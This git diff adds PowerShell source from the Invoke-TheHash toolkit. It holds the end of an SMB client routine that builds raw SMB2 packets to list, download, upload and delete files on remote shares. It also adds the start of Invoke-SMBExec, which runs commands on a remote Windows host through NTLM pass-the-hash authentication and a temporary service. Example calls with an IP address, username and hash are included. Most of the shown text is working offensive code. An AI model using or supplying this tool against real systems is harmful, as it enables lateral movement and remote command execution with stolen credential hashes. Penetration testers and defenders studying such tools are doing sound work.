$SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($Action -eq 'Delete') + { + $SMB_client_stage = 'CreateRequest' + $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + $action_step++ + } + else + { + $SMB_client_stage = 'ParseDirectoryContents' + } + + } + + 'ParseDirectoryContents' + { + $subdirectory_list = New-Object System.Collections.ArrayList + $create_response_file = [System.BitConverter]::ToString($SMB_client_receive) + $create_response_file = $create_response_file -replace "-","" + $directory_contents_mode_list = New-Object System.Collections.ArrayList + $directory_contents_create_time_list = New-Object System.Collections.ArrayList + $directory_contents_last_write_time_list = New-Object System.Collections.ArrayList + $directory_contents_length_list = New-Object System.Collections.ArrayList + $directory_contents_name_list = New-Object System.Collections.ArrayList + + if($directory_list.Count -gt 0) + { + $create_response_file_index = 152 + $directory_list.RemoveAt(0) > $null + } + else + { + $create_response_file_index = $create_response_file.Substring(10).IndexOf("FE534D42") + 154 + } + + do + { + $SMB_next_offset = [System.BitConverter]::ToUInt32($SMB_client_receive[($create_response_file_index / 2 + $SMB_offset)..($create_response_file_index / 2 + 3 + $SMB_offset)],0) + $SMB_file_length = [System.BitConverter]::ToUInt32($SMB_client_receive[($create_response_file_index / 2 + 40 + $SMB_offset)..($create_response_file_index / 2 + 47 + $SMB_offset)],0) + $SMB_file_attributes = [Convert]::ToString($SMB_client_receive[($create_response_file_index / 2 + 56 + $SMB_offset)],2).PadLeft(16,'0') + + if($SMB_file_length -eq 0) + { + $SMB_file_length = $null + } + + if($SMB_file_attributes.Substring(11,1) -eq '1') + { + $SMB_file_mode = "d" + } + else + { + $SMB_file_mode = "-" + } + + if($SMB_file_attributes.Substring(10,1) -eq '1') + { + $SMB_file_mode+= "a" + } + else + { + $SMB_file_mode+= "-" + } + + if($SMB_file_attributes.Substring(15,1) -eq '1') + { + $SMB_file_mode+= "r" + } + else + { + $SMB_file_mode+= "-" + } + + if($SMB_file_attributes.Substring(14,1) -eq '1') + { + $SMB_file_mode+= "h" + } + else + { + $SMB_file_mode+= "-" + } + + if($SMB_file_attributes.Substring(13,1) -eq '1') + { + $SMB_file_mode+= "s" + } + else + { + $SMB_file_mode+= "-" + } + + $file_create_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($SMB_client_receive[($create_response_file_index / 2 + 8 + $SMB_offset)..($create_response_file_index / 2 + 15 + $SMB_offset)],0)) + $file_create_time = Get-Date $file_create_time -format 'M/d/yyyy h:mm tt' + $file_last_write_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($SMB_client_receive[($create_response_file_index / 2 + 24 + $SMB_offset)..($create_response_file_index / 2 + 31 + $SMB_offset)],0)) + $file_last_write_time = Get-Date $file_last_write_time -format 'M/d/yyyy h:mm tt' + $SMB_filename_length = [System.BitConverter]::ToUInt32($SMB_client_receive[($create_response_file_index / 2 + 60 + $SMB_offset)..($create_response_file_index / 2 + 63 + $SMB_offset)],0) + $SMB_filename_unicode = $SMB_client_receive[($create_response_file_index / 2 + 104 + $SMB_offset)..($create_response_file_index / 2 + 104 + $SMB_offset + $SMB_filename_length - 1)] + $SMB_filename = [System.BitConverter]::ToString($SMB_filename_unicode) + $SMB_filename = $SMB_filename -replace "-00","" + + if($SMB_filename.Length -gt 2) + { + $SMB_filename = $SMB_filename.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_filename_extract = New-Object System.String ($SMB_filename,0,$SMB_filename.Length) + } + else + { + $SMB_filename_extract = [String][Char][System.Convert]::ToInt16($SMB_filename,16) + } + + if(!$Modify) + { + $file_last_write_time = $file_last_write_time.PadLeft(19,0) + [String]$SMB_file_length = $SMB_file_length + $SMB_file_length = $SMB_file_length.PadLeft(15,0) + } + + if($SMB_file_attributes.Substring(11,1) -eq '1') + { + + if($SMB_filename_extract -ne '.' -and $SMB_filename_extract -ne '..') + { + $subdirectory_list.Add($SMB_filename_unicode) > $null + $directory_contents_name_list.Add($SMB_filename_extract) > $null + $directory_contents_mode_list.Add($SMB_file_mode) > $null + $directory_contents_length_list.Add($SMB_file_length) > $null + $directory_contents_last_write_time_list.Add($file_last_write_time) > $null + $directory_contents_create_time_list.Add($file_create_time) > $null + } + + } + else + { + $directory_contents_name_list.Add($SMB_filename_extract) > $null + $directory_contents_mode_list.Add($SMB_file_mode) > $null + $directory_contents_length_list.Add($SMB_file_length) > $null + $directory_contents_last_write_time_list.Add($file_last_write_time) > $null + $directory_contents_create_time_list.Add($file_create_time) > $null + } + + if($share_subdirectory -and !$share_subdirectory_start) + { + $root_directory_string = $share_subdirectory + '\' + } + + $SMB_offset += $SMB_next_offset + } + until($SMB_next_offset -eq 0) + + if($directory_contents_name_list) + { + + if($root_directory_string) + { + $file_directory = $target_share + "\" + $root_directory_string.Substring(0,$root_directory_string.Length - 1) + } + else + { + $file_directory = $target_share + } + + } + + $directory_contents_output = @() + $i = 0 + + ForEach($directory in $directory_contents_name_list) + { + $directory_object = New-Object PSObject + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Name -Value ($file_directory + "\" + $directory_contents_name_list[$i]) + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Mode -Value $directory_contents_mode_list[$i] + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Length -Value $directory_contents_length_list[$i] + + if($Modify) + { + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name CreateTime -Value $directory_contents_create_time_list[$i] + } + + Add-Member -InputObject $directory_object -MemberType NoteProperty -Name LastWriteTime -Value $directory_contents_last_write_time_list[$i] + $directory_contents_output += $directory_object + $i++ + } + + if($directory_contents_output -and !$Modify) + { + + if($directory_contents_hide_headers) + { + ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, + @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, + @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, + @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -HideTableHeaders -Wrap| Out-String).Trim() + } + else + { + $directory_contents_hide_headers = $true + ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, + @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, + @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, + @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -Wrap| Out-String).Trim() + } + + } + else + { + $directory_contents_output + } + + $subdirectory_list.Reverse() > $null + + ForEach($subdirectory in $subdirectory_list) + { + $directory_list.Insert(0,($root_directory + $subdirectory)) > $null + } + + $SMB_offset = 0 + $SMB_client_stage = 'CloseRequest' + } + + 'FindRequest' + { + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["ProcessID"] = $process_ID_bytes + $packet_SMB2_header["NextCommand"] = 0x68,0x00,0x00,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2FindRequestFile $SMB_file_ID 0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB2_message_ID++ + $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2b_header["ProcessID"] = $process_ID_bytes + + if($SMB_signing) + { + $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 + } + else + { + $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 + } + + $packet_SMB2b_data = New-PacketSMB2FindRequestFile $SMB_file_ID + $packet_SMB2b_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00 + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2b_header + $SMB2b_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2b_header["Signature"] = $SMB2_signature + $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($Action -eq 'Get' -and $action_step -eq 1) + { + $find_response = [System.BitConverter]::ToString($SMB_client_receive) + $find_response = $find_response -replace "-","" + $file_unicode = [System.BitConverter]::ToString([System.Text.Encoding]::Unicode.GetBytes($source_file)) + $file_unicode = $file_unicode -replace "-","" + $file_size_index = $find_response.IndexOf($file_unicode) - 128 + $file_size = [System.BitConverter]::ToUInt32($SMB_client_receive[($file_size_index / 2)..($file_size_index / 2 + 7)],0) + $action_step++ + $create_request_extra_info = 1 + $SMB_client_stage = 'CreateRequest' + + if($share_subdirectory -eq $file) + { + $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($file) + } + else + { + $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) + } + + } + else + { + $SMB_client_stage = 'ParseDirectoryContents' + } + + } + + 'CloseRequest' + { + + if(!$SMB_file_ID) + { + $SMB_file_ID = $SMB_client_receive[132..147] + } + + $SMB2_message_ID ++ + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_file_ID = '' + + if($directory_list.Count -gt 0 -and $Action -eq 'Recurse') + { + $SMB2_file = $directory_list[0] + $root_directory = $SMB2_file + 0x5c,0x00 + $create_request_extra_info = 1 + $SMB_client_stage = 'CreateRequest' + + if($root_directory.Count -gt 2) + { + $root_directory_extract = [System.BitConverter]::ToString($root_directory) + $root_directory_extract = $root_directory_extract -replace "-00","" + + if($root_directory.Length -gt 2) + { + $root_directory_extract = $root_directory_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $root_directory_string = New-Object System.String ($root_directory_extract,0,$root_directory_extract.Length) + } + else + { + $root_directory_string = [Char][System.Convert]::ToInt16($SMB2_file,16) + } + + } + + } + elseif($Action -eq 'Get' -and $action_step -eq 1) + { + + if($share_subdirectory -eq $source_file) + { + $SMB2_file = "" + } + else + { + $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) + } + + $create_request_extra_info = 1 + $SMB_client_stage = 'CreateRequest' + } + elseif($Action -eq 'Delete') + { + + switch($action_step) + { + + 0 + { + + if($share_subdirectory -eq $source_file) + { + $SMB2_file = "" + } + else + { + $SMB2_file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) + } + + $create_request_extra_info = 1 + $SMB_client_stage = 'CreateRequest' + $action_step++ + + } + + 1 + { + $SMB_client_stage = 'CreateRequestFindRequest' + } + + 3 + { + $SMB_client_stage = 'TreeDisconnect' + } + + } + + } + elseif($share_subdirectory_start) + { + $share_subdirectory_start = $false + $SMB_client_stage = 'CreateRequestFindRequest' + } + else + { + $SMB_client_stage = 'TreeDisconnect' + } + + } + + 'ReadRequest' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditCharge"] = 0x01,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2ReadRequest $read_request_length $read_request_offset $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + Start-Sleep -m 5 + + if($read_request_length -eq 65536) + { + $i = 0 + + while($SMB_client.Available -lt 8192 -and $i -lt 10) + { + Start-Sleep -m $Sleep + $i++ + } + + } + else + { + Start-Sleep -m $Sleep + } + + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($Action -eq 'Get' -and $action_step -eq 3) + { + $action_step++ + $create_request_extra_info = 1 + $SMB_client_stage = 'CreateRequest' + } + elseif($Action -eq 'Get' -and $action_step -eq 7) + { + + if(!$NoProgress) + { + $percent_complete_calculation = [Math]::Truncate($read_request_step / $percent_complete * 100) + Write-Progress -Activity "Downloading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + } + + $file_bytes = $SMB_client_receive[84..($read_request_length + 83)] + + if(!$Modify) + { + + if(!$file_write) + { + $file_write = New-Object 'System.IO.FileStream' $destination_path,'Append','Write','Read' + } + + $file_write.Write($file_bytes,0,$file_bytes.Count) + } + else + { + $file_memory.AddRange($file_bytes) + } + + if($read_request_step -lt $file_stream_size_quotient) + { + $read_request_offset+=65536 + $read_request_step++ + $SMB_client_stage = 'ReadRequest' + } + elseif($read_request_step -eq $file_stream_size_quotient -and $file_stream_size_remainder -ne 0) + { + $read_request_length = $file_stream_size_remainder + $read_request_offset+=65536 + $read_request_step++ + $SMB_client_stage = 'ReadRequest' + } + else + { + + if(!$Modify) + { + $file_write.Close() + } + else + { + $file_memory.ToArray() + } + + $output_message = "[+] File downloaded" + $SMB_client_stage = 'CloseRequest' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = 'CloseRequest' + } + else + { + $SMB_client_stage = 'CloseRequest' + } + + } + + 'WriteRequest' + { + + if(!$Modify) + { + $source_file_binary_reader.BaseStream.Seek($write_request_offset,"Begin") > $null + $source_file_binary_reader.Read($source_file_buffer,0,$source_file_buffer_size) > $null + } + else + { + $source_file_buffer = $Source[$write_request_offset..($write_request_offset+$write_request_length)] + } + + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditCharge"] = 0x01,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2WriteRequest $write_request_length $write_request_offset $SMB_file_ID $source_file_buffer + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($write_request_step -lt $source_file_size_quotient) + { + + if(!$NoProgress) + { + $percent_complete_calculation = [Math]::Truncate($write_request_step / $percent_complete * 100) + Write-Progress -Activity "[*] Uploading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + } + + $write_request_offset+=65536 + $write_request_step++ + $SMB_client_stage = 'WriteRequest' + } + elseif($write_request_step -eq $source_file_size_quotient -and $source_file_size_remainder -ne 0) + { + $write_request_length = $source_file_size_remainder + $write_request_offset+=65536 + $write_request_step++ + $SMB_client_stage = 'WriteRequest' + } + else + { + $action_step++ + $set_info_request_file_info_class = 0x01 + $set_info_request_info_level = 0x04 + $set_info_request_buffer = $source_file_creation_time + + $source_file_last_access_time + + $source_file_last_write_time + + $source_file_last_change_time + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + if(!$Modify) + { + $SMB_client_stage = 'SetInfoRequest' + } + else + { + $output_message = "[+] File uploaded from memory" + $SMB_client_stage = 'CloseRequest' + } + + } + + } + + 'TreeDisconnect' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($session_string -and !$Logoff) + { + $SMB_client_stage = 'Exit' + } + else + { + $SMB_client_stage = 'Logoff' + } + + } + + 'Logoff' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + } + + } + + } + finally + { + + if($file_write.Handle) + { + $file_write.Close() + } + + if($source_file_stream.Handle) + { + $source_file_binary_reader.Close() + $source_file_stream.Close() + } + + if($session_string -and $Inveigh) + { + $inveigh.session_lock_table[$session] = 'open' + $inveigh.session_message_ID_table[$session] = $SMB2_message_ID + $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} + } + + if(!$session_string -or $Logoff) + { + $SMB_client.Close() + $SMB_client_stream.Close() + } + + } + +} + + if(!$Modify -or $Action -eq 'Put') + { + Write-Output $output_message + } + elseif($output_message) + { + Write-Verbose $output_message + } + +}
\ No newline at end of file diff --git a/Invoke-SMBExec.ps1 b/Invoke-SMBExec.ps1 new file mode 100644 index 0000000..7a4d868 --- /dev/null +++ b/Invoke-SMBExec.ps1 @@ -0,0 +1,2777 @@ +function Invoke-SMBExec +{ +<# +.SYNOPSIS +Invoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec +supports SMB1 and SMB2 with and without SMB signing. + +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause + +.PARAMETER Target +Hostname or IP address of target. + +.PARAMETER Username +Username to use for authentication. + +.PARAMETER Domain +Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the +username. + +.PARAMETER Hash +NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. + +.PARAMETER Command +Command to execute on the target. If a command is not specified, the function will check to see if the username +and hash provides local administrator access on the target. + +.PARAMETER CommandCOMSPEC +Default = Enabled: Prepend %COMSPEC% /C to Command. + +.PARAMETER Service +Default = 20 Character Random: Name of the service to create and delete on the target. + +.PARAMETER SMB1 +(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the +target. + +.PARAMETER Sleep +Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this +setting if you are experiencing strange results. + +.PARAMETER Session +Inveigh-Relay authenticated session. + +.PARAMETER SigningCheck +(Switch) Checks to see if SMB signing is required on a target. + +.EXAMPLE +Execute a command. +Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose + +.EXAMPLE +Check command execution privilege. +Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 + +.EXAMPLE +Execute a command using an authenticated Inveigh-Relay session. +Invoke-SMBExec -Session 1 -Command "command or launcher to execute" + +.EXAMPLE +Check if SMB signing is required. +Invoke-SMBExec -Target 192.168.100.20 -SigningCheck + +.LINK +https://github.com/Kevin-Robertson/Invoke-TheHash + +#> +[CmdletBinding(DefaultParametersetName='Default')] +param +( + [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Target, + [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username, + [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$Command, + [parameter(ParameterSetName='Default',Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", + [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(Mandatory=$false)][String]$Service, + [parameter(ParameterSetName='Default',Mandatory=$true)][Switch]$SigningCheck, + [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, + [parameter(ParameterSetName='Default',Mandatory=$false)][Switch]$SMB1, + [parameter(Mandatory=$false)][Int]$Sleep=150 +) + +if($Command) +{ + $SMB_execute = $true +} + +if($SMB1) +{ + $SMB_version = 'SMB1' +} + +function ConvertFrom-PacketOrderedDictionary +{ + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array +} + +#NetBIOS + +function New-PacketNetBIOSSessionService +{ + param([Int]$packet_header_length,[Int]$packet_data_length) + + [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) + $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + + $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NetBIOSSessionService.Add("Message_Type",[Byte[]](0x00)) + $packet_NetBIOSSessionService.Add("Length",[Byte[]]($packet_netbios_session_service_length)) + + return $packet_NetBIOSSessionService +} + +#SMB1 + +function New-PacketSMBHeader +{ + param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) + + $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $packet_SMBHeader.Add("Command",$packet_command) + $packet_SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $packet_SMBHeader.Add("Reserved",[Byte[]](0x00)) + $packet_SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Flags",$packet_flags) + $packet_SMBHeader.Add("Flags2",$packet_flags2) + $packet_SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("TreeID",$packet_tree_ID) + $packet_SMBHeader.Add("ProcessID",$packet_process_ID) + $packet_SMBHeader.Add("UserID",$packet_user_ID) + $packet_SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $packet_SMBHeader +} + +function New-PacketSMBNegotiateProtocolRequest +{ + param([String]$packet_version) + + if($packet_version -eq 'SMB1') + { + [Byte[]]$packet_byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$packet_byte_count = 0x22,0x00 + } + + $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $packet_SMBNegotiateProtocolRequest.Add("ByteCount",$packet_byte_count) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($packet_version -ne 'SMB1') + { + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $packet_SMBNegotiateProtocolRequest +} + +function New-PacketSMBSessionSetupAndXRequest +{ + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_byte_count = $packet_byte_count[0,1] + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) + 